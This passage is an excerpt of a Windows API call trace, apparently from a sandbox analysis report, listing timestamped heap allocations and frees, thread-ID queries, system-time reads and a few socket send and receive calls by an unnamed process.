returned 12 [0117.657] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xd) returned 0x2d34cf0 [0117.657] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fa90 | out: lpSystemTimeAsFileTime=0x18fa90*(dwLowDateTime=0x97092c00, dwHighDateTime=0x1d60051)) [0117.657] GetCurrentThreadId () returned 0x9fc [0117.657] GetCurrentThreadId () returned 0x9fc [0117.657] GetCurrentThreadId () returned 0x9fc [0117.657] GetCurrentThreadId () returned 0x9fc [0117.657] GetCurrentThreadId () returned 0x9fc [0117.657] GetCurrentThreadId () returned 0x9fc [0117.657] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d253a0 [0117.657] GetCurrentThreadId () returned 0x9fc [0117.657] GetCurrentThreadId () returned 0x9fc [0117.658] GetCurrentThreadId () returned 0x9fc [0117.658] GetCurrentThreadId () returned 0x9fc [0117.658] GetCurrentThreadId () returned 0x9fc [0117.658] GetCurrentThreadId () returned 0x9fc [0117.658] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d253a0 | out: hHeap=0x2a0000) returned 1 [0117.658] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fa28 | out: lpSystemTimeAsFileTime=0x18fa28*(dwLowDateTime=0x97092c00, dwHighDateTime=0x1d60051)) [0117.658] GetCurrentThreadId () returned 0x9fc [0117.658] GetCurrentThreadId () returned 0x9fc [0117.658] GetCurrentThreadId () returned 0x9fc [0117.658] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34d38 [0117.659] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35e48 [0117.659] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34d50 [0117.659] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34d68 [0117.659] GetCurrentThreadId () returned 0x9fc [0117.659] GetCurrentThreadId () returned 0x9fc [0117.659] GetCurrentThreadId () returned 0x9fc [0117.659] GetCurrentThreadId () returned 0x9fc [0117.659] GetCurrentThreadId () returned 0x9fc [0117.659] GetCurrentThreadId () returned 0x9fc [0117.659] GetCurrentThreadId () returned 0x9fc [0117.659] GetCurrentThreadId () returned 0x9fc [0117.659] GetCurrentThreadId () returned 0x9fc [0117.659] GetCurrentThreadId () returned 0x9fc [0117.659] GetCurrentThreadId () returned 0x9fc [0117.659] GetCurrentThreadId () returned 0x9fc [0117.659] GetCurrentThreadId () returned 0x9fc [0117.659] GetCurrentThreadId () returned 0x9fc [0117.659] GetCurrentThreadId () returned 0x9fc [0117.659] WSASetLastError (iError=0) [0117.659] send (s=0x12c, buf=0x2d36470*, len=328, flags=0) returned 328 [0117.660] WSASetLastError (iError=0) [0117.660] recv (in: s=0x12c, buf=0x2d3b9d0, len=7, flags=0 | out: buf=0x2d3b9d0*) returned 7 [0117.696] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2d253a0 [0117.696] GetCurrentThreadId () returned 0x9fc [0117.696] GetCurrentThreadId () returned 0x9fc [0117.696] GetCurrentThreadId () returned 0x9fc [0117.696] GetCurrentThreadId () returned 0x9fc [0117.697] GetCurrentThreadId () returned 0x9fc [0117.697] GetCurrentThreadId () returned 0x9fc [0117.697] GetCurrentThreadId () returned 0x9fc [0117.697] GetCurrentThreadId () returned 0x9fc [0117.697] GetCurrentThreadId () returned 0x9fc [0117.697] GetCurrentThreadId () returned 0x9fc [0117.697] GetCurrentThreadId () returned 0x9fc [0117.697] GetCurrentThreadId () returned 0x9fc [0117.697] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2d29c38 [0117.697] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1000) returned 0x2d443d8 [0117.697] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1000) returned 0x2d453e0 [0117.697] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fa40 | out: lpSystemTimeAsFileTime=0x18fa40*(dwLowDateTime=0x970deec0, dwHighDateTime=0x1d60051)) [0117.697] GetCurrentThreadId () returned 0x9fc [0117.697] GetCurrentThreadId () returned 0x9fc [0117.697] GetCurrentThreadId () returned 0x9fc [0117.697] GetCurrentThreadId () returned 0x9fc [0117.697] GetCurrentThreadId () returned 0x9fc [0117.697] GetCurrentThreadId () returned 0x9fc [0117.697] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d253e8 [0117.697] GetCurrentThreadId () returned 0x9fc [0117.697] GetCurrentThreadId () returned 0x9fc [0117.697] GetCurrentThreadId () returned 0x9fc [0117.698] GetCurrentThreadId () returned 0x9fc [0117.698] GetCurrentThreadId () returned 0x9fc [0117.698] GetCurrentThreadId () returned 0x9fc [0117.698] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d253e8 | out: hHeap=0x2a0000) returned 1 [0117.698] WSASetLastError (iError=0) [0117.698] recv (in: s=0x12c, buf=0x2d3b9da, len=63, flags=0 | out: buf=0x2d3b9da*) returned 63 [0117.698] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d25280 [0117.698] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xd) returned 0x2d34d80 [0117.698] SetLastError (dwErrCode=0x0) [0117.698] WSASetLastError (iError=0) [0117.698] recv (in: s=0x12c, buf=0x2d3b9d3, len=5, flags=0 | out: buf=0x2d3b9d3*) returned 5 [0117.698] SetLastError (dwErrCode=0x0) [0117.698] WSASetLastError (iError=0) [0117.698] recv (in: s=0x12c, buf=0x2d3b9d8, len=4535, flags=0 | out: buf=0x2d3b9d8*) returned 4021 [0117.698] SetLastError (dwErrCode=0x0) [0117.698] WSASetLastError (iError=0) [0117.698] recv (in: s=0x12c, buf=0x2d3c98d, len=514, flags=0 | out: buf=0x2d3c98d*) returned 514 [0118.102] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x19a8) returned 0x2d463e8 [0118.102] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d29330 | out: hHeap=0x2a0000) returned 1 [0118.102] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35e68 [0118.102] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34d98 [0118.102] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x68) returned 0x2d253e8 [0118.102] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x34) returned 0x2d29330 [0118.102] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34db0 [0118.102] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d29370 [0118.102] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35e88 [0118.102] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35ea8 [0118.102] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34dc8 [0118.102] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34de0 [0118.102] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d29380 [0118.103] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34df8 [0118.103] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34e10 [0118.103] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35ec8 [0118.103] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35ee8 [0118.103] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34e28 [0118.103] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34e40 [0118.103] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34e58 [0118.103] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d29390 [0118.103] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34e70 [0118.103] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d293a0 [0118.103] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34e88 [0118.103] GetCurrentThreadId () returned 0x9fc [0118.103] GetCurrentThreadId () returned 0x9fc [0118.103] GetCurrentThreadId () returned 0x9fc [0118.103] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34ea0 [0118.103] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35f08 [0118.103] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34eb8 [0118.103] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34ed0 [0118.103] GetCurrentThreadId () returned 0x9fc [0118.103] GetCurrentThreadId () returned 0x9fc [0118.103] GetCurrentThreadId () returned 0x9fc [0118.103] GetCurrentThreadId () returned 0x9fc [0118.103] GetCurrentThreadId () returned 0x9fc [0118.103] GetCurrentThreadId () returned 0x9fc [0118.103] GetCurrentThreadId () returned 0x9fc [0118.103] GetCurrentThreadId () returned 0x9fc [0118.103] GetCurrentThreadId () returned 0x9fc [0118.103] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34ee8 [0118.104] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2) returned 0x2d293b0 [0118.104] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x12) returned 0x2d35f28 [0118.104] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35f48 [0118.104] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x9) returned 0x2d34f00 [0118.104] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d293c0 [0118.104] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35f68 [0118.104] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34f18 [0118.104] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35f88 [0118.104] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34f30 [0118.104] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34f48 [0118.104] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34f60 [0118.104] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35fa8 [0118.104] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d293d0 [0118.104] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d293e0 [0118.104] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35fc8 [0118.104] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34f78 [0118.104] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34f90 [0118.104] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34fa8 [0118.104] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35fe8 [0118.104] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d293f0 [0118.104] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d29400 [0118.104] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36008 [0118.104] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34fc0 [0118.104] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34fd8 [0118.104] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34ff0 [0118.104] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36028 [0118.104] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d29410 [0118.104] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d29420 [0118.104] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36048 [0118.104] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35008 [0118.105] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35020 [0118.105] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35038 [0118.105] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36068 [0118.105] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d29430 [0118.105] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xd) returned 0x2d35050 [0118.105] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34f18, Size=0x20) returned 0x2d29440 [0118.105] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36088 [0118.105] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34f18 [0118.105] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35068 [0118.105] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35080 [0118.105] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d360a8 [0118.105] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d29468 [0118.105] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x25) returned 0x2d29478 [0118.105] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34de0 | out: hHeap=0x2a0000) returned 1 [0118.105] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34dc8 | out: hHeap=0x2a0000) returned 1 [0118.105] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35ea8 | out: hHeap=0x2a0000) returned 1 [0118.105] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35e88 | out: hHeap=0x2a0000) returned 1 [0118.105] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35e88 [0118.105] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35ea8 [0118.105] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34dc8 [0118.105] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34de0 [0118.105] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x9c) returned 0x2d294a8 [0118.105] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34dc8, Size=0x20) returned 0x2d29550 [0118.105] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d360c8 [0118.105] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34dc8 [0118.105] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d360e8 [0118.105] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35098 [0118.105] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d350b0 [0118.105] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d350c8 [0118.105] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36108 [0118.105] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d29578 [0118.106] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d47db0 [0118.106] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36128 [0118.106] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d350e0 [0118.106] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d350f8 [0118.106] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35110 [0118.106] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36148 [0118.106] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d47dc0 [0118.106] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d47dd0 [0118.106] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36168 [0118.106] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35128 [0118.106] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35140 [0118.106] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35158 [0118.106] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36188 [0118.106] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d47de0 [0118.106] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d47df0 [0118.106] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d361a8 [0118.106] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35170 [0118.106] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34dc8, Size=0x20) returned 0x2d29588 [0118.106] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34dc8 [0118.106] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35188 [0118.106] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d361c8 [0118.106] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d47e00 [0118.106] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xd) returned 0x2d351a0 [0118.106] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d361e8 [0118.106] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d351b8 [0118.106] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d351d0 [0118.106] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d351e8 [0118.106] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36208 [0118.106] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d47e10 [0118.106] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x25) returned 0x2d295b0 [0118.107] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x72) returned 0x2d295e0 [0118.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d47db0 | out: hHeap=0x2a0000) returned 1 [0118.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d350c8 | out: hHeap=0x2a0000) returned 1 [0118.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d29578 | out: hHeap=0x2a0000) returned 1 [0118.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36108 | out: hHeap=0x2a0000) returned 1 [0118.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d350b0 | out: hHeap=0x2a0000) returned 1 [0118.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35098 | out: hHeap=0x2a0000) returned 1 [0118.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d360e8 | out: hHeap=0x2a0000) returned 1 [0118.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d47dd0 | out: hHeap=0x2a0000) returned 1 [0118.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35110 | out: hHeap=0x2a0000) returned 1 [0118.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d47dc0 | out: hHeap=0x2a0000) returned 1 [0118.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36148 | out: hHeap=0x2a0000) returned 1 [0118.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d350f8 | out: hHeap=0x2a0000) returned 1 [0118.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d350e0 | out: hHeap=0x2a0000) returned 1 [0118.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36128 | out: hHeap=0x2a0000) returned 1 [0118.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d47df0 | out: hHeap=0x2a0000) returned 1 [0118.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35158 | out: hHeap=0x2a0000) returned 1 [0118.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d47de0 | out: hHeap=0x2a0000) returned 1 [0118.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36188 | out: hHeap=0x2a0000) returned 1 [0118.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35140 | out: hHeap=0x2a0000) returned 1 [0118.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35128 | out: hHeap=0x2a0000) returned 1 [0118.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36168 | out: hHeap=0x2a0000) returned 1 [0118.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d351a0 | out: hHeap=0x2a0000) returned 1 [0118.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35188 | out: hHeap=0x2a0000) returned 1 [0118.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d47e00 | out: hHeap=0x2a0000) returned 1 [0118.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d361c8 | out: hHeap=0x2a0000) returned 1 [0118.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34dc8 | out: hHeap=0x2a0000) returned 1 [0118.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35170 | out: hHeap=0x2a0000) returned 1 [0118.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d361a8 | out: hHeap=0x2a0000) returned 1 [0118.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d295b0 | out: hHeap=0x2a0000) returned 1 [0118.107] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d351e8 | out: hHeap=0x2a0000) returned 1 [0118.108] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d47e10 | out: hHeap=0x2a0000) returned 1 [0118.108] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36208 | out: hHeap=0x2a0000) returned 1 [0118.108] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d351d0 | out: hHeap=0x2a0000) returned 1 [0118.108] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d351b8 | out: hHeap=0x2a0000) returned 1 [0118.108] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d361e8 | out: hHeap=0x2a0000) returned 1 [0118.108] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d29588 | out: hHeap=0x2a0000) returned 1 [0118.108] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d360c8 | out: hHeap=0x2a0000) returned 1 [0118.108] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34f30 | out: hHeap=0x2a0000) returned 1 [0118.108] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35f88 | out: hHeap=0x2a0000) returned 1 [0118.108] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34f78 | out: hHeap=0x2a0000) returned 1 [0118.108] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35fc8 | out: hHeap=0x2a0000) returned 1 [0118.108] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34fc0 | out: hHeap=0x2a0000) returned 1 [0118.108] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36008 | out: hHeap=0x2a0000) returned 1 [0118.108] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35008 | out: hHeap=0x2a0000) returned 1 [0118.108] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36048 | out: hHeap=0x2a0000) returned 1 [0118.108] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34f18 | out: hHeap=0x2a0000) returned 1 [0118.108] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36088 | out: hHeap=0x2a0000) returned 1 [0118.108] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d29440 | out: hHeap=0x2a0000) returned 1 [0118.108] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35f68 | out: hHeap=0x2a0000) returned 1 [0118.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d34f18 [0118.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d35008 [0118.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35f68 [0118.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34fc0 [0118.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36088 [0118.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34f78 [0118.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34f30 [0118.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d351b8 [0118.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36048 [0118.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d47e10 [0118.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xd) returned 0x2d351d0 [0118.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34e40 | out: hHeap=0x2a0000) returned 1 [0118.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34e28 | out: hHeap=0x2a0000) returned 1 [0118.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35ee8 | out: hHeap=0x2a0000) returned 1 [0118.109] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35ec8 | out: hHeap=0x2a0000) returned 1 [0118.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35ec8 [0118.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35ee8 [0118.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34e28 [0118.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34e40 [0118.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x24) returned 0x2d29578 [0118.109] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36008 [0118.109] RtlAllocateHeap 